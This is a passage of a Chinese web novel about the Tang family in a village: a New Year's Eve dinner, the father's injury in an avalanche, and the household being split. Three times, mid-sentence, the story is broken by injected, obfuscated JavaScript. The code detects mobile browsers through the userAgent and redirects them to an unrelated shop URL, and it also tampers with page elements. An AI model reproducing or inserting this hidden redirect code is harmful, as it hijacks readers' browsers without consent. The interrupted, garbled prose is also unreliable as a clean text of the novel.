唐宝儿的话说完,大家都围了过来看她的银锁,“这小银锁可真漂亮!” “宝儿你的外公外婆对你可真好。”其中一个人羡慕的说道,他们的外公外婆自己的孙子女一大群,哪里会给外孙送小银锁。 听到他这么说,唐宝儿不好意思的笑笑,但心里却是赞同的点了点头,她的外公外婆确实对她很好。 大概下午五点的时候,各家的大人都陆陆续续来叫自家的孩子回去吃饭了。 除夕这一年是一年之中最隆重的一天,不管贫穷还是富裕,家家户户天一亮就要开始忙起来了,虽然忙,但大家都很高兴,忙得快乐,忙的是一家人团团圆圆,忙的是对未来的希望。 到了除夕这天下午,家里人开始准备年夜饭。年夜饭不单单是一顿饭,还是种郑重庄严的仪式,这一顿饭之后就需要道别旧岁迈入新岁了。 唐家也准备了丰盛的年夜饭,鲜炖鱼汤,加了豆腐一起炖的,奶白奶白的汤面上还撒着碧绿的葱花;红糖油糕,里边是红糖馅,一口咬下去又甜又绵软;还有五花肉炖排骨,加了豆角土豆一起炖,炖到软乎烂乎了排骨一嗦就能脱骨;为了不让这顿年夜饭显得过于单调,还另外多加了一个炒白菜,加了点猪油渣,炒出来香喷喷的。 家里除了逢年过节能吃上细粮的次数不多,今天特意蒸了一盆白面馒头和一盆玉米面馒头,就为了让大家都能敞开肚子吃。 开饭之前,姚秋月给大人都倒上了一杯白酒,给孩子们倒了橘子水。 唐老三开口道,“娘,您说两句吧。” 陈老太看着家里团团坐的一群人,除了长房一家其他人都在,儿子儿媳孙子孙女,陈老太忽然想起来自己早死的男人,这些年日子过得再难,吃草皮吃树根吃观音土,但她还是把七个孩子都拉扯长大了,并且看着他们嫁人的嫁人,娶妻的娶妻,生儿育女,这辈子也算对得起他们老唐家了。 陈老太眼睛有些泛酸,她看着大伙说道,“今年靠着大家伙的努力,家里终于有了些余钱,日子过得也比前几年好了,相信靠着大家的努力会一年比一年好,孩子们要好好上学,只要他们想上,不管多难都要给他们供出去,只有读书才是唯一的出路。” 陈老太的话说完,大伙便响起了热烈的掌声,大家一起干了这一杯。 橘子水酸酸甜甜的,喝起来冰冰凉凉,唐宝儿小口小口的啜着喝,不舍得一下子喝完了。 “动筷吧。” 陈老太先动了筷子,大家才开始吃起这顿年夜饭来,姚秋月先给闺女拿了个白面馒头,白面有种独属于白面的香甜气味,松软香甜,白面馒头可真好吃。 每喝一口鱼汤都能尝到汤里化开的鱼肉,熬得浓浓的很鲜,五花肉排骨吃起来油汪汪的,里边的土豆和豆角太香太下饭了,白菜脆生生的,也格外的好吃,红糖油糕不仅糖多,外酥里嫩油还多,果不其然受到了孩子们的一致喜爱。 吃完晚饭,大人坐着喝茶聊天,小孩子就在屋里玩自己的游戏,唐宝儿拿出了自己的花绳跟晓梅晓巧她们玩翻花绳的游戏,这是一截红色的长两三尺的棉纱绳,只需一根绳子和一双手,就可翻出千奇百怪的花样来。 玩了好一会,已经把会的“渔网”“蜘蛛”“麻花”“飞机”“花瓶”“五角星”花样都翻了个遍,晓巧没了兴致要到院子里玩,唐宝儿就自己在炕上玩着翻花绳的游戏。 唐宝儿对面坐下来一个人。 唐宝儿脸上带了笑容,“成鸣哥哥,你要玩翻花绳吗?” 成鸣过了年就满十二岁了,浓眉大眼,高挺的鼻梁勾勒出挺拔的轮廓,从里到外无一不彰显着少年的风姿。 成鸣这倒忍不住犯了难,这翻花绳是女孩玩的游戏,他从来没玩过啊。 唐宝儿正缺个玩伴呢,当即说道,“成鸣哥哥,我教你呀。” “好啊。”成鸣笑起来的时候露出几颗白牙,看着很清秀俊朗。 唐宝儿把花绳从一个人的玩法切成了两个人的玩法,将绳子先绕出一个花样来,“你这个手撑着这里,另一个手勾着这样……” 唐宝儿在教他的时候很认真,瓷白的脸上满是专注,长长的睫毛在眼睑下方投下一片扇形的阴影,成鸣冰凉的手指一不注意就碰到了唐宝儿的手,热乎乎的,像冬日里的小火炉。 “成鸣哥哥。”唐宝儿看他走神了,出声提醒他。 “噢。”成鸣回过神来,睫毛轻动,按着她说的将花绳从她的手里翻到了自己的手中。 竟然一次就成功了。 唐宝儿显然很高兴,脸上露出开心的笑容来,“成鸣哥哥好厉害啊,这个花样可难了,连我都经常出错,你竟然一次就翻成功了,看来我教得也不错!” 唐宝儿说话的声音很悦耳动听,像是冬日里潺潺流动的温暖的清泉,唇角的笑容甜甜的,连成鸣也受到了感染,眉眼间带了高兴的色彩。 除夕夜,一般都是整个通宵不睡觉,灯火通宵不灭,叫守岁,俗名“熬年”,据老人说,除夕夜里能熬夜的人好,预示着精神好,把一切邪瘟病疫照跑驱走,来年有福,吉祥如意。 大概晚上10点左右,姚秋月笑着叫他们去吃饺子了。 “吃饺子了!”院子里响起孩子们的欢呼声。 孩子们都一窝蜂的跑了进去,围在锅边等,白白胖胖的饺子浮在上面,每一个看起来都十分诱人。 饺子有白菜馅和韭菜馅的,饺子皮又软又筋道,饺子馅鲜嫩多汁,原本摆年夜饭的桌子早就被收拾干净了,大家伙又在饭桌上开始吃饺子,一口一个,饺子吃到肚子里热乎乎的,感觉冬天的寒气都被驱散了。 “慢点咬!小心磕着牙,看看是谁运气好能吃到包着硬币的幸运饺子。” 姚秋月提醒的声音刚说完,唐宝儿就感觉咬到了什么硬的东西,她吐出来一看,果然是一枚硬币。 “哎呦,原来是宝儿吃到了幸运饺子,真不愧是咱们家的小福星!”侯松梅笑道。 “硬币,快看硬币!” 大伙都很羡慕,吃到了幸运饺子可是件幸运的事情,说不定来年就走大运了。 “宝儿,快许个愿望。”姚秋月看向自己的闺女。 “许个愿望……”唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055418|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝儿听姚秋月的话,闭上眼睛许愿。 “我希望在新的一年,我能够快点长大,每天都能吃好吃的,开开心心,玩很多很多好玩的,爹娘美满幸福,奶奶身体健康……”唐宝儿默默在心里想。 “好了。” 唐宝儿将吃到的硬币洗干净了放衣兜里,感觉心里像是吃了蜜一样甜甜的。 吃完饺子,大家又继续守岁,唐宝儿往年都没守过整个通宵,她立志今年一定要守到明天天亮,早早的就提醒姚秋月自己要是睡着了一定要把她叫起来。 除夕整个晚上都不许熄灯的,围坐炉旁闲聊,等着辞旧迎新的时刻。 外边响起一阵阵轰隆隆的鞭炮声,原本都有些困倦的大人小孩都打起了精神,欢呼道,“新年到啦!该放鞭炮了!” 大伙一起跑出院子里,长串的红彤彤的鞭炮一早就挂好了,唐老二点燃鞭炮,“隆隆”的鞭炮声在院子里响起,预示着新的一年吉祥如意,红红火火。 陈老太给几个小辈都准备了压岁钱,就是一两分钱,纯粹是给大家发个彩头。 唐宝儿领完了红包后,早就困得不行了,靠在姚秋月怀里睡着了。 姚秋月看着两个嫂子,笑着说道,“这丫头每年都说要守完一整夜,但没有一次成功的,今天还提醒我叫她了,嫂子你们先继续唠着,我先把她抱回去睡觉。” 姚秋月虽然嘴上说着,但还是不舍得叫醒已经睡着的唐宝儿。 林丹红吃着瓜子,酸溜溜的说了句,“老四媳妇对这丫头可真好,不就是个捡来的丫头,看她稀罕成那样。” 一个不会下蛋的母鸡,只能捡个外边来路不明的弃婴回来养。 林丹红心里不屑的想,要是儿子也就算了,这闺女终究是别人家的,一旦嫁人了就是泼出去的水,以后看他们两口子老了怎么办。 听到她这样说,侯松梅感觉手里的瓜子嗑着也不香了,没有接她的话茬,只是淡淡的说了句,“宝儿这么乖巧伶俐,要是我有这么个闺女我也稀罕。” 姚秋月将唐宝儿抱回了北屋,小心翼翼的将孩子放到床上,又扯过棉被给她盖上。 想起来什么,姚秋月拿出早就准备好的红包,放在孩子的枕头旁边。 虽然村子里没有消费的地方,但姚秋月偶尔也会给唐宝儿一点零花钱,让她自己攒着以后可以花,她今天还在红包里塞了整整一块钱,这对于唐宝儿这个年纪的孩子来说无疑是一笔巨款了。 姚秋月在孩子光洁的额头上亲了一下。 姚秋月想起来第一次丈夫把宝儿抱回来时,那时候的她是那么幼嫩,好像一粒包在荚中的青豌豆,仿佛就在一转眼,孩子就长这么大了。 宝儿是个乖巧懂事的好孩子,让她和唐实操心的时候很少,姚秋月有时候会感念孩子的懂事,有时候也会心疼她的 “宝儿,你是娘的小棉袄。” 唐宝儿迷迷糊糊的睁开眼睛,“娘。” “是不是我吵醒你了?” 唐宝儿摇了摇头,“娘,我许的愿望是我希望我能尽快长大,这样我就能帮你和爹爹分担更多的事情了。” 姚秋月愣了下,才坐下来将女儿搂到怀里,“宝儿,不用着急长大,长大成人本身并不是一件多么了不起的事情,长大意味着承担更多的责任,拥有更成熟的思想,需要独自面对更多的人情世故等等,这些会像一座座山一样压得大人喘不过气来,娘只希望你能无忧无虑,健康快乐就行了。” 唐宝儿虽然迷迷糊糊的,但是她娘的话让她鼻子酸酸的,她忍不住抱住了姚秋月,“娘。” 外面寒风呼呼吼叫,但屋里暖烘烘的,有一种无法形容的安宁和舒服。 23. 第23章 第二年,冬天。 北风裹挟着飘雪,绿水村家家户户的房顶上都盖了一层厚厚的积雪,外边狂风呼啸,屋里却很干燥暖和,闺女宝儿在身旁熟睡着,浑身上下都裹在厚实的被子里,只有光洁的脸庞露了出来。 他们夫妻俩却没睡着,昏暗的煤油灯下,唐实拿着纸笔在盘算记录着,想着等来年开春了,能不能再往那黑市里倒腾点什么营生。 姚秋月则翻出自己的高中课本来看。 自从把这套课本拿回来了之后,姚秋月时不时就会拿出来看看,感觉以前学过的知识点都在脑子里重新活络了起来。 姚秋月也不知道自己心里到底在期盼着什么,但接二连三的报道,让她心里有了一种预感。 世事要变了。 陈老太从茅厕回来时,看到北屋那边还亮着灯,刚靠近就看见在煤油灯下算账的唐实,陈老太看着地面上厚厚的积雪,背着手往回走。 她的这几个儿子里,属这个小儿子唐实最机灵。 可惜再机灵的人,也被这一大家子束起了手脚,做事情只能瞻前顾后,畏首畏尾。 这些年大家伙在一口锅里搅着过日子,表面上还是一团和气,但实际上早已经是面和心不和。 孩子们都大了,就拿吃饭来说,家大口多,老二媳妇林丹红总想要给成孝捞一碗稠的,但一个锅里就这么点,你捞了稠的别人不就得喝稀的了? 老三媳妇不愿意啊,她那边可有两个儿子正是长身体的时候,还有老四媳妇也不是泥人捏的,怎么会心甘情愿的吃这个亏。 都抢着第一个盛饭。 陈老太心里已经有了分家的念头。 只是需要一个合适的契机。 每年冬天大雪封山的时候,山里的不少野兽都会深山里跑出来觅食,这可是打猎的好时候,运气好不说野鸡山雀,连狍子都有可能能打到,队里没什么活,唐实干脆就背上自己做的弓箭和两三个相熟的村民上山去了。 唐实盘算着,要是能打到猎物,不仅家里能开开荤,还能到黑市上去卖钱,这几年都没怎么做新衣服,唐实自己无所谓,但他想要给姚秋月买一件毛领的大氅。 最近频频降雪,山上都堆了厚厚的积雪,夜色将近,还不见唐实回来,姚秋月从厨房出来时,脸上也不免带了些焦虑,问在用簸箕逮鸟的唐宝儿,“宝儿,你爹还没回来吗?” 往常唐实他们上山打猎,天黑前就会回来了。 唐宝儿摇了摇头,“没看到爹的人影。” 母女俩刚说着话,便听到南边突然传来一阵巨大的“轰隆”的声音,似乎整个地面都震动了一下,像是地震了一般。 姚秋月感觉眼前一阵发白,震动来源的方向正好是唐实他们进山打猎的绿桂山,她忍不住抓紧了唐宝儿的手,感觉心里颤得厉害。 打问了一圈,才知道是雪崩了。 天已经彻底黑了,整个村子淹没在了黑暗中,门外传来一阵急促的敲门声,来人正是陈方平,就算是冬天还是跑出了满头大汗。 母女俩生出一股不详的预感,盯着他只等着他的下文,“方平,出什么事了?怎么就你一个人回来了?!” “嫂子!我说了你可一定要挺住!我实哥、我实哥他被压在山里了!雪崩时,实哥他把我推开了,自己却被压在了雪下!” 陈方平看着这母女俩,不忍的别开了目光,要是唐实真有什么三长两短,他必须要肩负起照顾这一对孤儿寡母的责任。 “压在山里、压在山里是什么意思?!”姚秋月问出这话时,感觉脑袋嗡嗡的,眼泪已经像断了线般止不住的落下来。 一阵眩晕袭来,姚秋月感觉眼前一花,身体就栽倒了下去。 “娘!” “嫂子!”陈方平忙将姚秋月扶住了,对着里边喊道,“老二老三,大娘!快出来!” 山里搜救那边还没有消息,姚秋月倒是切切实实的病倒了。 北风呼啸,昏暗的煤油灯下,姚秋月缓慢的睁开像是有千斤般沉重的眼皮,唐宝儿就守在床边,听到有动静忙凑了上去,“娘,你醒了?” 姚秋月抓握起孩子冰冰凉的小手,想要坐起身来,但浑身上下发烫没有一点力气,“我这是睡了多久了?” “已经一天一夜了。” 姚秋月心里咯噔了一下,“你爹还没有消息吗?” “方平叔他们连夜不停的在山里找,但是还没有消息传回来。”唐宝儿也想进山里帮忙找人,只是方平叔叫她不要去添乱,加上娘这边需要人守着,唐宝儿菜放弃了进山的想法。 姚秋月唇角苦涩,一天一夜,在雪里被埋着,哪怕人被雪压着没有造成致命伤,说不定也会因为失温被冻死了。 姚秋月只恨自己为什么偏偏在这个时候病倒了,如果她没生病,也能去帮着进山搜救。 家里没有其他人,熬好的药在砂锅里温着,成鸣回来时,就闻到一股浓郁苦涩的药味从厨房里飘出来,他到厨房发现是唐宝儿小小的身体在灶前坐着,用一把蒲扇在给炉子扇风。 成鸣心里百般不是滋味。 他不敢想象,要是四叔真出了什么意外,那宝儿妹妹该怎么办。 苦涩的药汁咽了下去,姚秋月浑身酸麻,手脚都没有力气,只能让宝儿喂着自己喝。 “大夫说您是急火攻心,加上平日里身体太虚了,所以才会一下子病倒了,一定要好好静心养着。”唐宝儿知道要想让姚秋月现在静下心来养病,那简直就是比登天还难。 “娘,爹爹一定会平安无事的。” 姚秋月听到这话,唇角勾起一抹苦涩的笑容,“但愿如此,如果不是因为想给我买一件大氅,你爹也不会冒着风雪进山打猎。” “往年爹爹也进山打猎,都好好的回来了,就是今年太背时了。”孩子的话语柔软稚嫩。 “宝儿,到娘怀里靠着。”姚秋月叹息了一声,感觉心里空落落的难受。 唐宝儿听到这话,将用来装药的碗给搁到了一旁的桌子上,脱去了鞋袜,小心翼翼的靠进姚秋月的怀里,怕压着姚秋月,唐宝儿还用手撑着一边,不敢整个人都靠在她的怀里。 唐实雪崩时摔进了捕猎的陷阱里,这是一个天然的大坑,幸运的是大坑里堆了不少干草,温暖干燥,让他不至于直接被过低的温度冻死,不幸的他的腿被捕兽夹伤了,伤得不轻,流了一堆血。 寒冬时节,农村有些人会放夹子抓黄鼠狼,剥掉皮毛拿去黑市上卖,黄鼠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055419|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狼的皮毛值钱,不过这几年抓得紧,都是偷偷的干,这些捕兽夹藏在草堆陷阱里,不走运的中招了也是有的。 唐实强忍着剧痛,用尽全力,硬生生将那捕兽夹给掰开,又寻来几根树枝,扯下身上的衣服布条,将受伤的腿给包扎了起来。 用树枝将压在陷阱上边的积雪捅落,一眼就望见了阴沉的天空,只是他的腿受了伤,靠着自己爬不出去这个大坑,幸好随身带着的火石还能点着火,唐实就生了堆火,只能在陷阱里等待救援。 唐实被从捕猎坑里救出来时,已经过去了两天一夜了,被担架抬回来时,陈老太直接就给施救的村民们跪下了。 陈方平忙将陈老太扶起来,“大娘,是我该给您磕头道谢,如果不是实哥被埋在雪里的就是我了。” 陈方平没有唐实的急智和体魄,说不定根本没命等到救援。 “您让实哥好好养着伤,有什么需要的尽管跟我开口。” 陈老太感动得不知该说什么,只能握着陈方平的手连连点头,“好孩子……” 唐家一下子就多了两个病号,姚秋月这病来得急,需要慢慢将养着,而唐实的伤在腿上,听说那捕兽夹硬生生给伤到骨头了,没个一两个月估计好不了,这两口子一个要养病一个要养伤的,唐实一个大男人挣不了工分,姚秋月也干不了家里的杂活。 还有那个拖油瓶唐宝儿,人年纪不大,吃的倒是不少。 林丹红的心里那叫一个不是滋味。 两个月挣不了工分啊,那得他们二房三房多挣多少,才能补回老四这一个全劳力、老四媳妇这个半劳力的工分? 更何况伤筋动骨一百天,要是落下了什么毛病成了残废,这不是要把他们拖累垮? 不行,不能继续跟着在这个油锅里搅和了! 林丹红越想越觉得不能这样坐以待毙,她必须得做点什么。 厨房里唐宝儿正在熬药,一股难闻的药味往外窜,林丹红嫌恶的捂住了鼻子,心里骂了一句晦气。 天天熬天天熬,家里的气运都要被晦气的四房给败光了! 她刚出门,就碰见唐老二闷不做声的在墙根下抽旱烟。 林丹红觉得还是要打问一下唐实的情况,“孩他爹!老四的腿怎么样了?” 唐老二黑着脸,“刚才去瞧了,动都动不了,疼得满头是汗,估计够呛。” “这老四也是拎不清的,大雪天还要进山里打猎,现在腿断了,这不是成心想要拖垮咱们一家吗?!”林丹红不吐不快道,全然忘记了唐实以前打猎给家里开荤时她有多高兴。 “老四这躺一天不见的就是十个工分,他要是躺上两个月不见的就是六百个工分,躺上三个月就是将近不见了一千个工分,一千个工分啊!唉,老四,真是的!”唐老二用旱烟管敲着泥面,虽然嘴上没明说,但心里也是怨恨唐实不争气的。 林丹红这听着男人算,感觉心里都在滴血,“孩他爹,那你说该咋办,这不见了这么多工分,这肯定得饿肚子了,我们大人勒紧裤腰带忍忍就过去了,可咱们成孝本来身子就弱,他可饿不得啊!” 唐老二嘴里吐出一缕烟,抬头望着阴沉的天空,幽幽的说道,“等天晴了,你到城里去找一趟大嫂吧。” 24. 第24章 县棉纺厂的职工宿舍里,这是一栋刷着白墙的筒子楼宿舍,一间不大的宿舍里摆着两张床,都挂着床帐,往日里唐忠刘芬两口子睡一张床,成润兄弟俩睡另一张床,角落里堆着水桶木盆等杂物,天刚亮,妻子刘芬还在睡着,鼾声如雷,唐忠就轻手轻脚的起来了。 唐忠往日里的工资都是尽数上交,刚把放钱的抽屉拉开,用两指偷偷夹出几张钞票,身后就传来刘芬哭天喊地的声音。 “好你个唐老大竟然敢偷拿家里的钱,你是不是又要给你那老娘寄钱?!我真是白嫁给你了!偏帮着你老娘那些人欺负我们母子,你知道你老娘给我们多大的屈辱和难堪吗?!敢情不是让你滚是吧?!” “你知道成新差点叫老四两口子收养的那个死丫头害死!你今个儿要是敢寄这个钱回去,我、我就带着成润兄弟俩回娘家!” “我当初真是瞎了眼了嫁给你这么负心汉!” “你给我!快给我你!” “我不给!” 刘芬这话说完,便要上前将唐老大手里的钱给抢回来,两口子就这样推抢起来,唐老大实在烦了,一把将刘芬推倒在地上。 “你竟然敢推我?!”刘芬尖锐的腔调里充满难以置信。 往日里唐老大就是八棍子打不出一个屁的性子,更别提跟她动手了,往日里她跟他吵跟他闹也只会闷不吭声。 “哎呦,你个没良心的忘恩负义的,你忘记这些年是谁给你操持里里外外,是谁给你生了两个儿子,你、你竟然敢推我?!” “我娘她辛辛苦苦一辈子才将我们兄妹几个养大!这个县棉纺厂的工作机会也是家里掏空家底给我争取来的!”唐老大攥紧了拳头,拨高了音量道。 丢下这句话,唐老大就拿着钱出了门,门甩得震天响。 “你、你你……”刘芬掩面哭了起来,“哎呦,我这命真苦啊,你出来这个门就不要再回来!” 唐老大还没回来,家里就来了个不速之客。 林丹红看着刘芬挂在走廊上的衣服,忍不住上手摸了摸,“这衣裳料子可真好,摸在手里滑溜溜的,一点都不皱,不愧是的确良……” 刘芬看向林丹红的那因为常年干农活长着冻疮黑不溜秋的手,嫌恶的皱了下眉头,但还是忍住了嫌弃笑着招呼她进来坐,“来喝点汽水,这是北冰洋,我两个娃儿就喜欢喝这个,你在老家估计没喝过这玩意儿吧,快尝尝!老二媳妇你这趟来找我有什么事吗?” “这汽水可真好喝,一口下去全是汽,甜滋滋的。”林丹红喝了半瓶子汽水,才想起来这一趟的正事,把唐实被捕兽夹夹断了腿,姚秋月病倒的事情都跟刘芬说了。 刘芬冷笑,“我就说老大今日怎么这么反常,原来是老家那边又出了这么大的幺蛾子!还不知道得往里贴多少钱,老大这点工资全让家里给拖着败光了,简直就是个无底洞!” “老四一个大男人挣不了工分只能白吃干饭,老四媳妇病殃殃的也干不了活,还要供不知道是哪来的野种野丫头上学,这四房一家简直就是吸血鬼,想要吸干我们所有人的血啊!” “走!” 林丹红还喝着汽水就被拽了起来,“去哪?” “回去分家!” “啥?分家?”林丹红瞪大了眼睛,分家这个词对于她来说太震撼了,她可从来没想过分家,最多想的便是让四房多掏点钱出来填一填亏空,“那娘能同意?” “管她同不同意,天要下雨娘要嫁人,夫死从子,儿子大了要分家老娘还能有不同意要拦着的道理?我看这个家必须得分!” 刘芬尖声道,“只要你们二房坚定的跟我们大房站在同一条阵营,这个家一定能分成功,大不了咱们两家分出来单过,难不成你还想等着让老四一家把咱们都拖垮?!你就算不为你自己想想也该为成孝想想啊!” 提到成孝,林丹红也下定了决定,她攥紧了拳头,“大嫂,你说得对,这个家必须得分!” 唐宝儿在厨房熬药,孩子的眉宇间挂满了忧愁,娘病着,爹的腿也伤了,虽然很多时候家里的其他大人没有明说,但唐宝儿还能能察觉到大伙的不满。 爹娘都挣不了工分,她只能尽量少吃一点饭,这样家里的其他人就不会有那么多意见了。 唐宝儿算着时间,看到那药都熬好了,便拿起来一块布裹着那瓦罐的手柄,将墨黑的药汁倒进碗里。 晓梅鬼鬼祟祟的从外边跑进来,一脸严肃的抓住唐宝儿的手,“宝儿,我有件事情要跟你说,我娘到城里找大伯母去了,说不定咱们就要分家了,你快让四叔想想办法,怎么样能拦住我娘他们分家!” 晓梅不想分家,这大伙在一个锅里搅着,她跟晓巧两姐妹待遇还不会太差,起码表面跟成鸣成孝他们都是一样的,要是分了家,估计锅里就剩一碗稠的都捞给成孝吃了,她跟晓巧只能喝稀的! 而且晓梅喜欢和宝儿一块玩,要是他们分家了,她跟宝儿就不是一家人了。 “啥?分家?”唐宝儿睁大了眼睛,这个消息给她的震撼太大了。 唐宝儿忙端着药要去了北屋,把这个消息告诉了唐实和姚秋月。 姚秋月躺了几天,病已经好得差不多了,估计再过一两天就能下地干活了,唐实腿上缠着绷带,靠着两个枕头在床上坐着,沉默的听完了唐宝儿的话,没有很震惊的表情,只是把宝儿叫到自己跟前坐着。 “媳妇,宝儿,你们相信我能让你们过上好日子吗?” 唐宝儿点了点头,爹爹在她心里就是最无所不能的人,六年前如果不是爹爹把她从黄河边上救起来,她早就没命了,“我相信爹爹。” 姚秋月更不必说了,她高中毕业之后就嫁给唐实,已经快十年了,唐实就是她们母女俩的倚靠,她有什么信不过的。 “趁这个机会把家分了也好,一大家子人在一块搅和,束手束脚的,表面上和和气气,其实背地里嫌隙埋怨只会多不会少,以后我就是你们娘俩的后盾,靠着我挣工分养活你们娘俩绝对没问题,而且我前段时间到城里办事,听说有些地方的政策已经变了,开始允许私自买卖了……” 唐实知道,无论是大嫂,还是二哥二嫂对他们夫妻俩收养宝儿这件事一直很不满,哪怕他们两口子再卖力干活,挣的工分都填进了家里,就养这么一个闺女,还是没办法改变他们对宝儿的态度。 唐实很少会跟姚秋月说起这些。 姚秋月有些意外,她本来以为唐实会舍不得分家,毕竟那些都是他的家人。 “这是你的真实想法吗?”姚秋月看着丈夫问道。 唐实点了点头,“媳妇,人都是有私心的,我只愿意让我在乎的人过得好,媳妇你、宝儿、还有咱娘。” “爹。”唐宝儿靠在唐实的怀里,原本慌乱的心也安稳下来了,她现在感觉就算天塌下来也有人撑着了。 唐老三正在院里修凳子腿,就看见刘芬和林丹红领着唐五叔、大队长唐得福、已故金老先生的遗孀金家奶奶,一群人浩浩荡荡的进了家门,他心里正疑惑着怎么她们怎么一群人一起过来了,正想上前招呼两句。 “五叔,您怎么来了?”唐五叔是他们族里德高望重的长辈,是死去的唐老太爷的堂弟,他们兄弟几个一向尊敬这位长辈。 唐五看他这么模样,微微皱了下眉头,“不是你们家老大媳妇说要分家,所以才请我过来做个见证吗?” 唐五这话一出,唐老三还有什么不明白的,这是大嫂二嫂嫌老四一家累赘,迫不及待的想把他们分出去呗,当下就沉了脸色,“五叔,你弄错了,咱们家没有要分家!” 刘芬不经陈老太同意就请来了这些德高望重的人,就是想着逼着他们分家,免得夜长梦多,刘芬想到唐老大寄回来的那点子钱就觉得肉痛到不行,而且她很有把握,二房一家一定会和自己站在同一个阵营。 “老三,我是长房长嫂,分不分家也该由我和娘说了算吧,咱们家这日子早过不到一块去了,与其再这么搅和下去,我看不如趁今天各位长辈都在趁早分了,让大家也落个清净日子过!” 林丹红开口,“就是,儿大分家这是天经地义的事情!哪有不给分家的道理!” 乌泱泱的一大伙人挤满了唐家这个泥巴院。 “老四腿伤着,老四媳妇还病着呢,你们就迫不及待的要分家,这不是让他们一家三口喝西北风去吗?!”唐老三坚决不同意分家。 侯松梅没说话,她不像丈夫那样对这一家子人充满感情,她也有自己的私心。 他看向院墙下抽旱烟的唐老二,“二哥,你说句话啊!” 唐老二叹息了一声,只是无奈的看了一眼林丹红。 看起来就像是被逼无奈的模样,“分了吧,早点分了落个清净……” “娘,您的看法呢?”唐老二幽深的目光落到了陈老太的身上。 唐五他们这算是看明白了,合着是唐家大房二房联合起来逼着陈老太分家呢,当下也皱紧了眉头,心里不想掺和这一大家子人的事,但无奈人已经被刘芬架着骗过来了,“你们这家到底分不分?能不能给个准话?!” “五叔。” 唐实虚弱的声音在人群外响起,众人看过去,姚秋月和唐宝儿扶着伤了腿的唐实从屋里走了出来。 成鸣见状,赶紧上前帮忙扶着唐实,“四叔。” “我同意分家。”唐实的脸色苍白,声音却是掷地有声。 唐实的话一出,唐老二几人都感觉心里松快了不少,连现在最拖累的四房一家都同意分家了,陈老太还有什么理由不同意的。 “老四你是不是发烧烧糊涂了?!你有没有想过分家意味着什么?!”唐老三上前道。 唐实摇头道,“三哥,我是认真的。” 陈老太扫了一圈众人,怎么会不明白他们心里的想法,心里也叹息了一句,终于还是走到了这一天。 还是早分了好,起码还能保留住他们兄弟的最后一点感情。 陈老太背着手,虽然摆出了一副失望的脸色,但还是很冷静的说道,“事到如今,我也没什么理由不同意分家,本来这家早就该分了,在你们成家的时候,只是因为前些年日子过得太难了,吃了上顿没下顿,想着大家伙在一起过日子,日子总能过得好一些。” “现在家里的孩子们都长大了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056770|149180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人多口多,一个锅也搅不开,从今以后就各过各的吧,正好今天老大媳妇和老二媳妇都把五叔、得福、金老夫人都请过来了,就烦请他们帮忙着做个见证。” 陈老太的话一出,几人大喜过望。 本来还以为陈老太这一关得是个难关,没想到这么顺利就过了。 只是林丹红心里还是有些不太得意,大伙都知道是她和刘芬去请的五叔,这家是分了,这家一分,刘芬拍拍屁股回了城里,她倒是落一身清净利索了,可这逼着老人的分家的名声全落在她身上了! “老嫂子,你想清楚了么?”唐五问道。 “想清楚了。”陈老太闭了闭眼睛。 “你看还需不需要再叫老大回来一趟?” “不必了。今天这个家就由我作主分了。”自从被招工后,大房一家就住进了城里,已经不跟他们在一块过日子许多年了,陈老太心里早就默认大房已经单独分出去过日子了。 原本还会每个月寄些钱回来,但自从上次刘芬回来之后,钱也直接断了,对于大儿子,陈老太除了失望就没有更多的想法了。 娶了一个这样的媳妇,连带着两个孙子品性恶劣,陈老太也不想管他们大房一家的破事。 唐实和姚秋月两口子都识字,但这分家协议还是得让见证人来着,于是陈老太口述,由唐五来写这一份分家协议。 “家里这一座房子是早些年你们的爹领着你们弟兄几个建造起来的,东西南北一共九间屋舍,往后东边两间归大房一家,西边两间归二房一家,南边三间,两间归三房,其中一间由我老太婆住着,北边两间归四房。” “家里有碗十七只,按着人数各拿各的,门口的枣树四家共有,待会我把家里攒的钱、粮食、粮票都拿出来分成五份,你们兄弟一人一份,我老太婆拿一份,往后你们就另起炉灶过日子,钱财进项都独立核算。” 分家协议写完,陈老太亲手把协议交到几个儿子媳妇手里。 刘芬看着这一纸协议,眉眼间止不住的得意,她终于能甩开四房这一家子累赘了。 陈老太看着眉飞色舞的老大媳妇,心里忍不住闷哼了声,但愿她以后别后悔才好。 林丹红心里说不出什么滋味,很高兴吗?其实也没有,更多的是惊讶,没想到这家竟然这么顺利就分成功了。 陈老太看着老二媳妇,还是忍不住再最后叮嘱了一句,“老二媳妇,你平日里为人计较些,但我知道你人不是个算坏的,你生养的两个闺女都是好闺女,往后一碗水端平,好好待你的几个孩子,后福自然在后头。” 